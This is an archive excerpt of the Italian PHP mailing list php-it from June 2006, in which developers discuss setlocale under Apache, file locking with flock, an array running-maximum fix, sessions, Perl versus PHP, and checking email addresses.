From matteo.giacomazzi at gmail.com Thu Jun 1 18:34:17 2006 From: matteo.giacomazzi at gmail.com (Matteo Giacomazzi) Date: Thu Jun 1 18:35:14 2006 Subject: [Php-it] setlocale su php/modulo e php/cli Message-ID: Ciao, sto constatando una cosa davvero strana su una mia macchina Ubuntu (breezy). Ho compilato manualmente php (4.4.2). Il seguente script: d? due risultati diversi se eseguito come CLI piuttosto che come modulo di apache2. In particolare, se eseguito da CLI la setlocale va a buon fine restituendo "de_DE", per contro eseguito da apache2 la setlocale torna "false". Da cosa pu? dipendere? Notare che data ed ora di compilazione del modulo e del php-cli coincidono (dovesse venire il dubbio che sono stati compilati separatamente in maniera diversa). Ogni aiuto ? bene accetto (prima che compia un gesto folle! ;)) Ciao, -- Matteo -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060601/bf9709d6/attachment.htm From webmaster at teknemedia.net Fri Jun 2 08:22:31 2006 From: webmaster at teknemedia.net (webmaster@teknemedia.net) Date: Fri Jun 2 08:23:42 2006 Subject: [Php-it] cache e mod rewrite Message-ID: <447FD927.1040105@teknemedia.net> Salve a tutti, su dei siti, che sono creati da un webservices di mia creazione usando xml-rpc, il client per ragioni di comodit? ? una sola pagina, che riceve, via get, il parametro "act", il quale contiene una determinata stampa che il webservices pu? erogare ... Ora ho due problemi: Ho usato in fase di test il package PEAR Cache_Lite, ma mi ha lasciato qualche dubbio ... Ancora di pi? ora che vorrei usare mod rewrite, per far scrivere le pagine, invece che passarle via get. Es: http://www.miosito.com/index.php?act=contacts&lang=it vorrei che diventasse http://www.miosito.com/contacts.php?lang=it L'unica pagina presente nella rott della cartella/sito ? index.php Qualche idea ? Per la cache ho provato albert-cache la quale funziona bene :)) devo vedere usando mod rewrite che succede, ma penso funzioni bene lo stesso ... ALtre idee su cache in php ? Grazie a tutti Davide From ml at tassoman.com Fri Jun 2 09:17:18 2006 From: ml at tassoman.com (Tassoman (mailing)) Date: Fri Jun 2 09:18:17 2006 Subject: [Php-it] setlocale su php/modulo e php/cli In-Reply-To: References: Message-ID: <447FE5FE.2000204@tassoman.com> Matteo Giacomazzi ha scritto in data 01/06/2006 18:34 : > In particolare, se eseguito da CLI la setlocale va a buon fine > restituendo "de_DE", per contro eseguito da apache2 la setlocale torna > "false". > Da cosa pu? dipendere? Potrebbe essere qualcosa legato alla config di apache2 ? From matteo.giacomazzi at gmail.com Fri Jun 2 10:22:53 2006 From: matteo.giacomazzi at gmail.com (Matteo Giacomazzi) Date: Fri Jun 2 10:23:54 2006 Subject: [Php-it] setlocale su php/modulo e php/cli In-Reply-To: <447FE5FE.2000204@tassoman.com> References: <447FE5FE.2000204@tassoman.com> Message-ID: Il 02/06/06, Tassoman (mailing) ha scritto: > > > In particolare, se eseguito da CLI la setlocale va a buon fine > > restituendo "de_DE", per contro eseguito da apache2 la setlocale torna > > "false". > > Da cosa pu? dipendere? > > Potrebbe essere qualcosa legato alla config di apache2 ? > E` quello che ho pensato anche io, ma dove cerco? In httpd.conf non vi ? traccia di gestione del locale... Ciao! -- Matteo -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060602/996ee620/attachment.html From marco at emmeti.it Fri Jun 2 10:42:54 2006 From: marco at emmeti.it (Marco Mex) Date: Fri Jun 2 10:43:55 2006 Subject: [Php-it] setlocale su php/modulo e php/cli Message-ID: <447FFA0E.6000100@emmeti.it> > Il 02/06/06, Tassoman (mailing) ha scritto: > > > > > In particolare, se eseguito da CLI la setlocale va a buon fine > > > restituendo "de_DE", per contro eseguito da apache2 la setlocale torna > > > "false". > > > Da cosa pu? dipendere? > > > > Potrebbe essere qualcosa legato alla config di apache2 ? > > > > E` quello che ho pensato anche io, ma dove cerco? In httpd.conf non vi ? > traccia di gestione del locale... > Se non mi sbaglio alcuni parametri non e' possibile cambiarli via web. non so se il locale fa parte di questi. Ciao Marco Mex -- AVVERTENZE AI SENSI DEL DLGS 196/2003 Le informazioni contenute in questo messaggio di posta elettronica e/o nel/i file/s allegato/i, sono da considerarsi strettamente riservate. Il loro utilizzo ? consentito esclusivamente al destinatario del messaggio, per le finalit? indicate nel messaggio stesso. Qualora riceveste questo messaggio senza esserne il destinatario, Vi preghiamo cortesemente di darcene notizia via e-mail e di procedere alla distruzione del messaggio stesso, cancellandolo dal Vostro sistema; costituisce comportamento contrario ai principi dettati dal Dlgs. 196/2003 il trattenere il messaggio stesso, divulgarlo anche in parte, distribuirlo ad altri soggetti, copiarlo, od utilizzarlo per finalit? diverse. From gianluca at ihuri.it Fri Jun 2 12:39:50 2006 From: gianluca at ihuri.it (=?ISO-8859-15?Q?Gianluca_Ba=F9?=) Date: Fri Jun 2 12:40:55 2006 Subject: [Php-it] Sincronizzare l'accesso a un file Message-ID: <44801576.2000308@ihuri.it> Salve ragazzi, ho una script che ha parecchi accessi contemporanei via web. Questa script deve, ad ogni accesso, scrivere delle cose su un file di testo. Ho bisogno di gestire la concorrenza nell'accesso a questo file. Voi come fareste ? while ( !flock(param) ) continue; $fp = fopen(params); etc... Gli accessi che attendono il lock vengono bloccati sul caricamento della pagina?? Aspetto consigli Grazie e saluti Gianluca From alecosnet at inwind.it Fri Jun 2 13:16:43 2006 From: alecosnet at inwind.it (Alessandro Marinuzzi) Date: Fri Jun 2 13:17:43 2006 Subject: [Php-it] setlocale su php/modulo e php/cli In-Reply-To: References: Message-ID: <44801E1B.1010804@inwind.it> Matteo Giacomazzi ha scritto: > Ciao, > > sto constatando una cosa davvero strana su una mia macchina Ubuntu > (breezy). > Ho compilato manualmente php (4.4.2). > > Il seguente script: > > $res=setlocale(LC_TIME, 'de_DE'); > var_dump($res); > echo strftime('%A'), "\n"; > ?> > > > d? due risultati diversi se eseguito come CLI piuttosto che come > modulo di apache2. > In particolare, se eseguito da CLI la setlocale va a buon fine > restituendo "de_DE", per contro eseguito da apache2 la setlocale torna > "false". > Da cosa pu? dipendere? > Notare che data ed ora di compilazione del modulo e del php-cli > coincidono (dovesse venire il dubbio che sono stati compilati > separatamente in maniera diversa). > > Ogni aiuto ? bene accetto (prima che compia un gesto folle! ;)) > > Ciao, > > -- > Matteo pu? darsi che abbia a che fare con: # LanguagePriority allows you to give precedence to some languages # in case of a tie during content negotiation. # # Just list the languages in decreasing order of preference. We have # more or less alphabetized them here. You probably want to change this. # LanguagePriority it en da nl et fr de el ja kr no pl pt pt-br ru ltz ca es sv tw io ho messo it al posto di en... prova anche tu.... pu? essere una fesseria.... non so... provare non costa nulla ;-) Ciao :-) -- Alessandro Marinuzzi ---------------------------------- http://www.alecos.altervista.org ---------------------------------- From alecosnet at inwind.it Fri Jun 2 13:26:04 2006 From: alecosnet at inwind.it (Alessandro Marinuzzi) Date: Fri Jun 2 13:27:04 2006 Subject: [Php-it] setlocale su php/modulo e php/cli In-Reply-To: <44801E1B.1010804@inwind.it> References: <44801E1B.1010804@inwind.it> Message-ID: <4480204C.3080301@inwind.it> Alessandro Marinuzzi ha scritto: > pu? darsi che abbia a che fare con: > > # LanguagePriority allows you to give precedence to some languages > # in case of a tie during content negotiation. > # > # Just list the languages in decreasing order of preference. We have > # more or less alphabetized them here. You probably want to change > this. > # > > LanguagePriority it en da nl et fr de el ja kr no pl pt pt-br > ru ltz ca es sv tw > > > io ho messo it al posto di en... prova anche tu.... pu? essere una > fesseria.... non so... provare non costa nulla ;-) > Ciao :-) > Ho provato anche sulla mia macchina mi restituisce en anche se ho messo it. Ho lo stesso problema anche io ;-( -- Alessandro Marinuzzi ---------------------------------- http://www.alecos.altervista.org ---------------------------------- From php at beccati.com Fri Jun 2 16:31:47 2006 From: php at beccati.com (Matteo Beccati) Date: Fri Jun 2 16:32:55 2006 Subject: [Php-it] setlocale su php/modulo e php/cli In-Reply-To: <4480204C.3080301@inwind.it> References: <44801E1B.1010804@inwind.it> <4480204C.3080301@inwind.it> Message-ID: <44804BD3.40101@beccati.com> Ciao, > Ho provato anche sulla mia macchina mi restituisce en anche se ho messo > it. Ho lo stesso problema anche io ;-( Questo non c'entra nulla con il setlocale, serve per il mod_negotiation e le multiviews (file statici con estensioni .html.en, .html.it, ecc), se non erro. Ciao ciao -- Matteo Beccati http://phpadsnew.com http://phppgads.com From php at beccati.com Fri Jun 2 16:33:22 2006 From: php at beccati.com (Matteo Beccati) Date: Fri Jun 2 16:34:30 2006 Subject: [Php-it] Sincronizzare l'accesso a un file In-Reply-To: <44801576.2000308@ihuri.it> References: <44801576.2000308@ihuri.it> Message-ID: <44804C32.3060000@beccati.com> Ciao, > ho una script che ha parecchi accessi contemporanei via web. Questa > script deve, ad ogni accesso, scrivere delle cose su un file di testo. > Ho bisogno di gestire la concorrenza nell'accesso a questo file. > > Voi come fareste ? > > > while ( !flock(param) ) > continue; > > $fp = fopen(params); > > etc... > Questo non serve a nulla, flock prende un file pointer come parametro... Che devi fare sul file esattamente? Ciao ciao -- Matteo Beccati http://phpadsnew.com http://phppgads.com From massimiliano.c at gmail.com Fri Jun 2 22:04:29 2006 From: massimiliano.c at gmail.com (Massy) Date: Fri Jun 2 22:05:35 2006 Subject: [Php-it] Ordinare un array :-| Message-ID: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> Sto impicciandomi su una cosa che sicuramente sar? una stupidata... ho un array con questi valori: $arr[0]=>2 $arr[1]=>2 $arr[2]=>5 $arr[3]=>2 $arr[4]=>2 $arr[5]=>9 $arr[6]=>2 $arr[7]=>11 $arr[8]=>2 $arr[9]=>15 devo ottenere $arr[0]=>2 $arr[1]=>2 $arr[2]=>5 $arr[3]=>5 $arr[4]=>5 $arr[5]=>9 $arr[6]=>9 $arr[7]=>11 $arr[8]=>11 $arr[9]=>15 (spero si capisca: se ho un valore pi? piccolo di quello precedente devo portarlo a quello). Chi mi da un aiuto per uscire da sto giro di cicli che sto costruendo? :-D DEVE esserci un modo per farlo senza creare 5-6 cicli, no? :-| Grazie :-) -- Massy -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060602/48031dca/attachment.htm From dierre at dierrelabs.org Fri Jun 2 22:07:35 2006 From: dierre at dierrelabs.org (DierRe) Date: Fri Jun 2 22:08:40 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> Message-ID: <2f5f89560606021307r1fcd84a7qbd347473966126d1@mail.gmail.com> http://www.php.net/manual/it/function.sort.php dimmi se ti piace...senn? ci sono altre funzioni sempre con desinenza sort...vedi quale ti ? pi? congeniale. -- www . dierrelabs . org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060602/521d4ea3/attachment.html From massimiliano.c at gmail.com Fri Jun 2 22:13:50 2006 From: massimiliano.c at gmail.com (Massy) Date: Fri Jun 2 22:14:55 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <2f5f89560606021307r1fcd84a7qbd347473966126d1@mail.gmail.com> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <2f5f89560606021307r1fcd84a7qbd347473966126d1@mail.gmail.com> Message-ID: <7351353a0606021313n466c03ech35813f98d7eb2256@mail.gmail.com> Il 02/06/06, DierRe ha scritto: > > ________________SPONSOR______________ > Spazio pubblicitario libero. > mail a info@ziobudda.net > > > > ________________SPONSOR______________ > > > http://www.php.net/manual/it/function.sort.php S?, Sort la conosco come conosco le altre (ksort etc etc) ma se faccio sort($arr), perdo la chiave. non mi serve ordinarlo E BASTA, mi serve che se c'? un valore precedente pi? basso tutti i successivi prendano quel valore. Non so se mi son spiegato :-) Per ora son arrivato a ciclare l'array, prendere i *punti significativi* confrontandolo con i successivi, ed assegnare ai valori compresi nella forbice il valore corretto. dimmi se ti piace...senn? ci sono altre funzioni sempre con desinenza > sort...vedi quale ti ? pi? congeniale. Grazie dell'intervento :-) -- Massy -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060602/613dcbcb/attachment.htm From dierre at dierrelabs.org Fri Jun 2 22:16:44 2006 From: dierre at dierrelabs.org (DierRe) Date: Fri Jun 2 22:17:49 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <7351353a0606021313n466c03ech35813f98d7eb2256@mail.gmail.com> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <2f5f89560606021307r1fcd84a7qbd347473966126d1@mail.gmail.com> <7351353a0606021313n466c03ech35813f98d7eb2256@mail.gmail.com> Message-ID: <2f5f89560606021316p51de7536sef41ff2ea18523f2@mail.gmail.com> te la butto l?: usi arsort e te li riordina mantenendo le chiavi...poi passi i valori ad un nuovo array. In pratica te lo ricostruisci...sto ipotizzando cos? sul momento. -- www . dierrelabs . org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060602/936aa49b/attachment.html From petdog at gmail.com Fri Jun 2 22:54:36 2006 From: petdog at gmail.com (petdog) Date: Fri Jun 2 22:55:42 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> Message-ID: <9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com> On 6/2/06, Massy wrote: > Sto impicciandomi su una cosa che sicuramente sar? una stupidata... > > ho un array con questi valori: > > $arr[0]=>2 > $arr[1]=>2 > $arr[2]=>5 > $arr[3]=>2 > $arr[4]=>2 > $arr[5]=>9 > $arr[6]=>2 > $arr[7]=>11 > $arr[8]=>2 > $arr[9]=>15 > > devo ottenere > > > $arr[0]=>2 > $arr[1]=>2 > $arr[2]=>5 > $arr[3]=>5 > $arr[4]=>5 > $arr[5]=>9 > $arr[6]=>9 > $arr[7]=>11 > $arr[8]=>11 > $arr[9]=>15 > > (spero si capisca: se ho un valore pi? piccolo di quello precedente devo > portarlo a quello). > > Chi mi da un aiuto per uscire da sto giro di cicli che sto costruendo? :-D > > DEVE esserci un modo per farlo senza creare 5-6 cicli, no? :-| A quanto ho capito non devi ordinare, ma solo "aggiustare" con il metodo che hai descritto, giusto? Allora mi sembra che basti un: $peak = 0; for ($key = 0; $arr[$key]; $key++) { if ($arr[$key] < $peak) $arr[$key] = $peak; else $peak = $arr[$key]; } Spero di non aver detto la cazzata del giorno :P From iacovone at 1mas.it Sat Jun 3 10:29:43 2006 From: iacovone at 1mas.it (Lorenzo Iacovone) Date: Sat Jun 3 10:30:44 2006 Subject: [Php-it] sessioni in PHP 5.0.x e PHP 5.1.x Message-ID: <44814877.7070806@1mas.it> salve a tutti, ho un problema enorme che mi sta facendo letteralmente impazzire. il seguente codice funziona perfettamente con PHP 5.0.x, ma non ne vuole sapere di funzionare con PHP 5.1.x. sembrerebbe che nella versione pi? recente di PHP i dati non vengano salvati nella sessione, nonostante il file di sessione venga correttamente creato. "; $pippo++; $_SESSION['pippo'] = $pippo; ?> se non trovo la soluzione a questo problema sono letteralmente nella m...a :-) grazie a tutti in anticipo. Lorenzo From cesare at ngi.it Sat Jun 3 11:08:41 2006 From: cesare at ngi.it (Cesare D'Amico) Date: Sat Jun 3 11:09:53 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <7351353a0606021313n466c03ech35813f98d7eb2256@mail.gmail.com> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <2f5f89560606021307r1fcd84a7qbd347473966126d1@mail.gmail.com> <7351353a0606021313n466c03ech35813f98d7eb2256@mail.gmail.com> Message-ID: <200606031108.42130.cesare@ngi.it> Alle 22:13, venerd? 2 giugno 2006, Massy ha scritto: > ma se faccio sort($arr), perdo la chiave. > non mi serve ordinarlo E BASTA, mi serve che se c'? un valore > precedente pi? basso tutti i successivi prendano quel valore. $ref = -1; // ipotesi: tutti i valori dell'array sono positivi for ($i = 0; $i < count($arr); $i++) { if ($arr[$i] >= $ref) { // aggiorna il valore di riferimento $ref = $arr[$i]; } else { // valore inferiore rispetto ad uno precedente: aggiornalo $arr[$i] = $ref; } } Ovvero, senza fare tanti cicli: tieni in memoria il max valore trovato finora, se trovi qualcosa di pi? piccolo modifichi l'array, se trovi qualcosa di pi? grande aggiorni il valore di riferimento in memoria. ...se ho capito quello che ti serve ;) Ciaps ce -- Cesare D'Amico | Area tecnica Gruppo Volta - web & mkt solutions Via Leida 8 - Verona Tel: 045 21 000 84 Fax: 045 21 000 85 From cesare at ngi.it Sat Jun 3 11:09:27 2006 From: cesare at ngi.it (Cesare D'Amico) Date: Sat Jun 3 11:10:36 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com> Message-ID: <200606031109.28212.cesare@ngi.it> Alle 22:54, venerd? 2 giugno 2006, petdog ha scritto: > Spero di non aver detto la cazzata del giorno :P Azz, non avevo ancora visto questa risposta, ho scritto la stessa cosa, sorry :P -- Cesare D'Amico | Area tecnica Gruppo Volta - web & mkt solutions Via Leida 8 - Verona Tel: 045 21 000 84 Fax: 045 21 000 85 From massimiliano.c at gmail.com Sat Jun 3 20:33:06 2006 From: massimiliano.c at gmail.com (Massy) Date: Sat Jun 3 20:34:21 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <200606031109.28212.cesare@ngi.it> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com> <200606031109.28212.cesare@ngi.it> Message-ID: <7351353a0606031133h3781c6bao31938c611e40203@mail.gmail.com> Il 03/06/06, Cesare D'Amico ha scritto: > > > Azz, non avevo ancora visto questa risposta, ho scritto la stessa cosa, > sorry :P Grazie ad entrambi :-) -- Massy -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060603/72327432/attachment.htm From dierre at dierrelabs.org Sun Jun 4 21:17:52 2006 From: dierre at dierrelabs.org (DierRe) Date: Sun Jun 4 21:19:19 2006 Subject: [Php-it] =?iso-8859-1?q?PHP_e_Perl=2C_cosa_=E8_meglio_delegare_a?= =?iso-8859-1?q?_Perl=3F?= Message-ID: <2f5f89560606041217t4be5ed4cu711d26a73ebf9be0@mail.gmail.com> Salve...da poco mi sto interessando anche al Perl. (Sto leggendo anche la guida presente in questo sito) Ora, per quanto poco ne sappia, ho notato una differenza enorme nella manipolazione delle stringhe, e penso che Perl sia pi? idoneo a questo, ma chiedo, a chi ha pi? dimestichezza di me nei due linguaggi. Secondo voi quali sono le applicazioni (per applicazioni intendo anche il singolo contatore di visite, per dire una scemata) che ? meglio scrivere con Perl invece che con PHP? E perch?? -- www . dierrelabs . org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060604/339f9fdf/attachment.html From m.vezzelli at e-works.it Mon Jun 5 09:17:07 2006 From: m.vezzelli at e-works.it (Marcello Vezzelli) Date: Mon Jun 5 09:18:41 2006 Subject: [Php-it] Sincronizzare l'accesso a un file In-Reply-To: <44801576.2000308@ihuri.it> References: <44801576.2000308@ihuri.it> Message-ID: <4483DA73.4060705@e-works.it> Gianluca Ba? ha scritto: > Salve ragazzi, > ho una script che ha parecchi accessi contemporanei via web. Questa > script deve, ad ogni accesso, scrivere delle cose su un file di testo. > Ho bisogno di gestire la concorrenza nell'accesso a questo file. > > Voi come fareste ? Riesci ad appoggiarti al db per questa cosa? In questo modo utilizzi il lock del database e sei sicuro che hai sempre consistenza. Ciao -- Marcello Vezzelli Software Development Department E-Works s.r.l. tel. +39 059 2929081 fax +39 059 2925035 Direzionale 70 - Via Giardini 456/c 41100 Modena - Italy From carletto752002 at yahoo.it Mon Jun 5 09:54:34 2006 From: carletto752002 at yahoo.it (Carlo Pecchia) Date: Mon Jun 5 09:56:10 2006 Subject: [Php-it] PHP e Perl, cosa è meglio delegare a Perl? In-Reply-To: <2f5f89560606041217t4be5ed4cu711d26a73ebf9be0@mail.gmail.com> Message-ID: <20060605075434.22747.qmail@web26907.mail.ukl.yahoo.com> La vera "forza" del Perl ? senza dubbio CPAN, l'archivio delle classi/moduli/script e quant'altro ritenuto "degno" in Perl. Quindi lo utilizzerei laddove esiste un package in CPAN che fa al caso tuo... DierRe ha scritto: ________________SPONSOR______________ Spazio pubblicitario libero. mail a info@ziobudda.net ________________SPONSOR______________ Salve...da poco mi sto interessando anche al Perl. (Sto leggendo anche la guida presente in questo sito) Ora, per quanto poco ne sappia, ho notato una differenza enorme nella manipolazione delle stringhe, e penso che Perl sia pi? idoneo a questo, ma chiedo, a chi ha pi? dimestichezza di me nei due linguaggi. Secondo voi quali sono le applicazioni (per applicazioni intendo anche il singolo contatore di visite, per dire una scemata) che ? meglio scrivere con Perl invece che con PHP? E perch?? -- www . dierrelabs . org _______________________________________________ Php-it mailing list Php-it@lists.ziobudda.net http://lists.ziobudda.net/mailman/listinfo/php-it Chiacchiera con i tuoi amici in tempo reale! http://it.yahoo.com/mail_it/foot/*http://it.messenger.yahoo.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060605/52faaf03/attachment.htm From webmaster at claudiodemarinis.it Mon Jun 5 10:11:00 2006 From: webmaster at claudiodemarinis.it (webmaster@claudiodemarinis.it) Date: Mon Jun 5 10:12:34 2006 Subject: [Php-it] Integrazione ecommerce - gestionale teamsystem Message-ID: <4483E714.6060409@claudiodemarinis.it> Ciao a tutti , mi hanno chiesto di creare un ecommerce integrandolo con un gestionale teamsystem: non ho ancora parlato con nessuno di specifiche tecniche, qualcuno di voi ha fatto per caso una cosa simile e saprebbe suggerirmi qualcosa in merito all'interfacciamento di php con un gestionale ? From m.vezzelli at e-works.it Mon Jun 5 10:25:56 2006 From: m.vezzelli at e-works.it (Marcello Vezzelli) Date: Mon Jun 5 10:27:33 2006 Subject: [Php-it] Integrazione ecommerce - gestionale teamsystem In-Reply-To: <4483E714.6060409@claudiodemarinis.it> References: <4483E714.6060409@claudiodemarinis.it> Message-ID: <4483EA94.6070607@e-works.it> webmaster@claudiodemarinis.it ha scritto: > Ciao a tutti , > mi hanno chiesto di creare un ecommerce integrandolo con un gestionale > teamsystem: non ho ancora parlato con nessuno di specifiche tecniche, > qualcuno di voi ha fatto per caso una cosa simile e saprebbe > suggerirmi qualcosa in merito all'interfacciamento di php con un > gestionale ? Premesso che non conosco Teamsystem, di solito le integrazioni si fanno secondo una o pi? di queste modalit? (ce ne sono anche altre...): - interfacciamento diretto al DB del gestionale (in genere con account readonly) - scambio di metadata (XML o altro esportato dal gestionale, a richiesta o in automatico a determinati orari) - interfacciamento diretto al gestionale con API dedicate (solo se implementato nel gestionale) Dipende comunque che tipo di interfacciamento ? necessario... Saluti -- Marcello Vezzelli Software Development Department E-Works s.r.l. tel. +39 059 2929081 fax +39 059 2925035 Direzionale 70 - Via Giardini 456/c 41100 Modena - Italy From cverondini at deis.unibo.it Mon Jun 5 11:08:11 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Mon Jun 5 11:20:23 2006 Subject: [Php-it] Ordinare un array :-| References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com> Message-ID: <005401c68880$f8897ff0$6301a8c0@IdeaFutura.local> > $peak = 0; > for ($key = 0; $arr[$key]; $key++) { ^^^^^^^ Cos'? questa cosa terribile? :)) Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From lfalvo at logos.net Mon Jun 5 11:27:09 2006 From: lfalvo at logos.net (Luca Falvo) Date: Mon Jun 5 11:28:21 2006 Subject: [Php-it] verifica email Message-ID: <6.2.1.2.2.20060605112440.02e58d20@mail.logos.net> Salve ragazzi, sto cercando una classe o un tool che mi faccia una verifica delle email inserite dagli utenti in un form. In particolare, non sono interessato alla correttezza formale delle email ma alla loro reale esistenza. conoscete qualcosa? anche solo materiale di studio, siti web o forum che trattino l'argomento? grazie mille. Luca From cverondini at deis.unibo.it Mon Jun 5 11:28:26 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Mon Jun 5 11:30:36 2006 Subject: [Php-it] verifica email References: <6.2.1.2.2.20060605112440.02e58d20@mail.logos.net> Message-ID: <005e01c68882$695e6dc0$6301a8c0@IdeaFutura.local> > In particolare, non sono interessato alla correttezza formale delle > email ma alla loro reale esistenza. Non c'? modo di essere sicuri. Quello che si pu? fare ? cercare di contattareil server di destinazione, o meglio il suo MX, e chiedere dell'esistenza dell'utente. Ma a causa dello spam, molti server non offrono una risposta corretta. L'unico modo funzionante ? spedire una mail vera al destinatario e chiedergli di fare click su un link univoco inserito al suo interno. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From lfalvo at logos.net Mon Jun 5 11:37:10 2006 From: lfalvo at logos.net (Luca Falvo) Date: Mon Jun 5 11:38:22 2006 Subject: [Php-it] verifica email In-Reply-To: <005e01c68882$695e6dc0$6301a8c0@IdeaFutura.local> References: <6.2.1.2.2.20060605112440.02e58d20@mail.logos.net> <005e01c68882$695e6dc0$6301a8c0@IdeaFutura.local> Message-ID: <6.2.1.2.2.20060605113624.02eb2498@mail.logos.net> lo sospettavo... beh, grazie mille, Cris. l. At 11.28 05/06/2006, you wrote: >L'unico modo funzionante ? spedire una mail vera al destinatario e >chiedergli di fare click su un link univoco inserito al suo interno. From massimo_pezzotti at tin.it Mon Jun 5 12:41:15 2006 From: massimo_pezzotti at tin.it (Massimo Pezzotti) Date: Mon Jun 5 12:43:20 2006 Subject: Rif: Re: [Php-it] verifica email References: <6.2.1.2.2.20060605113624.02eb2498@mail.logos.net> Message-ID: <44840A4A.000001.00952@UTENTE-B80B4324> Skipped content of type multipart/alternative-------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: image/gif Size: 3761 bytes Desc: not available Url : http://lists.ziobudda.net/pipermail/php-it/attachments/20060605/abbd4011/attachment-0002.gif -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: image/gif Size: 20364 bytes Desc: not available Url : http://lists.ziobudda.net/pipermail/php-it/attachments/20060605/abbd4011/attachment-0003.gif From gianluca at ihuri.it Mon Jun 5 12:44:45 2006 From: gianluca at ihuri.it (=?ISO-8859-15?Q?Gianluca_Ba=F9?=) Date: Mon Jun 5 12:46:28 2006 Subject: [Php-it] Sincronizzare l'accesso a un file In-Reply-To: <44804C32.3060000@beccati.com> References: <44801576.2000308@ihuri.it> <44804C32.3060000@beccati.com> Message-ID: <44840B1D.3080902@ihuri.it> > Ciao, > >> ho una script che ha parecchi accessi contemporanei via web. Questa >> script deve, ad ogni accesso, scrivere delle cose su un file di testo. >> Ho bisogno di gestire la concorrenza nell'accesso a questo file. >> >> Voi come fareste ? >> >> >> while ( !flock(param) ) >> continue; >> >> $fp = fopen(params); >> >> etc... >> > > > Questo non serve a nulla, flock prende un file pointer come > parametro... Che devi fare sul file esattamente? > > > Ciao ciao Ciao, intendevo una cosa del genere $tentativi = 100; $file_path = $_SERVER['DOCUMENT_ROOT'] . "/inc.php"; /* Apro il file per la lettura */ $fp = fopen($file_path, "r"); while ( !flock($fp, LOCK_SH) && $tentativi != 0 ) { /* Decremento i tentativi possibili */ $tentativi--; } /* Leggo il contenuto del file */ $content = fread($fp, filesize($file_path)); /* Rilascio il lock */ flock($fp, LOCK_UN); /* Chiudo il file */ fclose($fp); [.....] /* Apro il file per la scrittura */ $fp = fopen($file_path, "w"); while ( !flock($fp, LOCK_EX) && $tentativi != 0 ) { /* Decremento i tentativi possibili */ $tentativi--; } /* Riscrivo il file con il numero del sito successivo */ fwrite($fp, "ROBA DA SCRIVERE"); /* Rilascio il lock */ flock($fp, LOCK_UN); /* Chiudo il file */ fclose($fp); Mi suggerireste anche come aprire il file in lettura + scrittura con relativo lock ? Qui faccio due operazioni distinte per leggere e scrivere, ma un passaggio del genere ? sbagliato perch? nel momento in cui ho letto qualcun'altro potrebbe scrivere!!! E poi ? giusto il fatto dei tentativi nei cicli? Se non si riesce mai acquisire il lock, per qualunque motivo la script non terminerebbe mai. Aspetto suggerimenti :) Saluti From AlberT at superalbert.it Mon Jun 5 12:47:48 2006 From: AlberT at superalbert.it (Emiliano Gabrielli (aka AlberT)) Date: Mon Jun 5 12:49:27 2006 Subject: [Php-it] Sincronizzare l'accesso a un file In-Reply-To: <44840B1D.3080902@ihuri.it> References: <44801576.2000308@ihuri.it> <44804C32.3060000@beccati.com> <44840B1D.3080902@ihuri.it> Message-ID: <200606051247.48736.AlberT@superalbert.it> On Monday 05 June 2006 12:44, Gianluca Ba? wrote: > /* Apro il file per la scrittura */ > $fp = fopen($file_path, "w"); > qui hai svuotato il file !! > while ( !flock($fp, LOCK_EX) && $tentativi != 0 ) > { > ? ? /* Decremento i tentativi possibili */ > ? ? $tentativi--; > } > > /* Riscrivo il file con il numero del sito successivo */ > fwrite($fp, "ROBA DA SCRIVERE"); > > /* Rilascio il lock */ > flock($fp, LOCK_UN); se vuoi usare flock devi usare un secondo file (di lock appunto) su cui acquisire il lock! occhio che flock non ? atomica in ambienti multithread .. meglio usare mkdir a questo punto (trovi spunti sul man) -- From petdog at gmail.com Mon Jun 5 13:17:37 2006 From: petdog at gmail.com (petdog) Date: Mon Jun 5 13:19:20 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: 